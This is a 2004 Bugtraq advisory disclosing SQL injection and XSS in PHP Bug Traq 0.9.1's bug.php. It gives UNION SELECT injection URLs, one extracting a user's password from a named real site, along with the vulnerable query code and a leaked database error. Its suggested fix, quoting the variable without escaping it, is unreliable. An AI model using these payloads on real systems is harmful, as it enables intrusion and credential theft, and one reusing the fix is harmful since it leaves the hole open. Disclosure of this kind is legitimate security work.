Bugtraq mailing list archives

SQL Injection in phpBT (bug.php)


From: jessica soules <admin () howdark com>
Date: 13 Nov 2004 03:03:09 -0000



 _   _                ______           _    
| | | |               |  _  \         | |   
| |_| | _____      __ | | | |__ _ _ __| | __
|  _  |/ _ \ \ /\ / / | | | / _` | '__| |/ /
| | | | (_) \ V  V /  | |/ / (_| | |  |   < 
\_| |_/\___/ \_/\_/   |___/ \__,_|_|  |_|\_\
http://www.howdark.com

----------------------------------------------------------------------------------------------------------------------------------
// Information
----------------------------------------------------------------------------------------------------------------------------------

Author: How Dark
Date:   November 13, 2004
URL:    http://www.howdark.com

Affected Software:              PHP Bug Traq
Software Version:               0.9.1
Software URL:           http://phpbt.sourceforge.net/

Attack:                 SQL Injection, allowing people to minipulate the query into pulling data
                        they should not previously be able too obtain. (Such as passwords)

                        XSS, cross site scripting leaving cookie data to vunerable.

Description:            bug_id variable is left open. xss on display of id.

----------------------------------------------------------------------------------------------------------------------------------

xxx

----------------------------------------------------------------------------------------------------------------------------------
// Description
----------------------------------------------------------------------------------------------------------------------------------

For viewing the votes placed on a bug, the bug_id variable is left open.

----------------------------------------------------------------------------------------------------------------------------------

xxx

----------------------------------------------------------------------------------------------------------------------------------
// URL
----------------------------------------------------------------------------------------------------------------------------------

bug.php?op=viewvotes
bug.php?op=viewvotes&bugid=1 union select 1,2,3/*
bug.php?op=viewvotes&bugid=1 union select 1,2,3/*%20 XSS here
http://www.phpbb.com/bugs/bug.php?op=viewvotes&bugid=1 union select 1,user_password,3 where user_id='2'/*

----------------------------------------------------------------------------------------------------------------------------------

xxx

----------------------------------------------------------------------------------------------------------------------------------
// Code
----------------------------------------------------------------------------------------------------------------------------------
                        
[ Line 29  -  37 ]

        function vote_view($bug_id) {
                global $u, $db, $t, $STRING;

                $t->assign('votes', $db->getAll('select login, v.created_date '.
                        'from '.TBL_AUTH_USER.' u, '.TBL_BUG_VOTE." v ".
                        "where u.user_id = v.user_id and bug_id = $bug_id ".
                        'order by v.created_date'));
                $t->wrap('bugvotes.html', 'bugvotes');
        }


----------------------------------------------------------------------------------------------------------------------------------
// Code
----------------------------------------------------------------------------------------------------------------------------------

xxx

----------------------------------------------------------------------------------------------------------------------------------
// SQL Error
----------------------------------------------------------------------------------------------------------------------------------

DB Error: syntax error
SELECT u.user_id, username as login, v.created_date FROM phpbb_users u, phpbt_bug_vote v WHERE u.user_id = v.user_id 
AND bug_id = 2864' ORDER BY v.created_date [nativecode=1064 ** You have an error in your SQL syntax. Check the manual 
that corresponds to your MySQL server version for the right syntax to use near '' ORDER BY v.created_date' at line 1]

----------------------------------------------------------------------------------------------------------------------------------

xxx

----------------------------------------------------------------------------------------------------------------------------------
// Fix
----------------------------------------------------------------------------------------------------------------------------------

Find:   [ Line 34 ]     "where u.user_id = v.user_id and bug_id = $bug_id ".
Replace:        [ Line 34 ]     "where u.user_id = v.user_id and bug_id = '$bug_id' ".

----------------------------------------------------------------------------------------------------------------------------------

xxx

;eof


Current thread: